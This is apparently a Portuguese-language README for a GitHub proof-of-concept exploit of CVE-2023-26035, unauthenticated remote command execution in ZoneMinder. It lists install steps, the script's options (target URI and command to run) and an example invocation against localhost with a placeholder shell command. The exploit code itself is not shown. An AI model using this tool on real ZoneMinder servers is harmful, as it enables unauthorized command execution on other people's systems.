CVE-2023-26035

ZoneMinder Snapshots - Não autenticado

Instalação

Obter Repositório

$ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git

Configuração

Nota: Instale a versão mais recente do node

$ npm init
$ npm i axios cheerio yargs

Uso

┌─[✗]─[v37r1x@7h3B14ckKn1gh75]─[~/Documents/Code/CVE-2023-26035]
└──╼ $node exp.js -h
Opções:
      --version  Mostra o número da versão                                   [booleano]
  -t, --target   URI alvo (ex.: http://example.com/zm/)   [string] [obrigatório]
  -c, --cmd      Comando a executar no alvo            [string] [obrigatório]
  -h, --help     Mostra ajuda                                             [booleano]

┌─[v37r1x@7h3B14ckKn1gh75]─[~/Documents/Code/CVE-2023-26035]
└──╼ $node exp.js -t http://127.0.0.1:8888/ --cmd '<shell>'

Créditos

• rvizx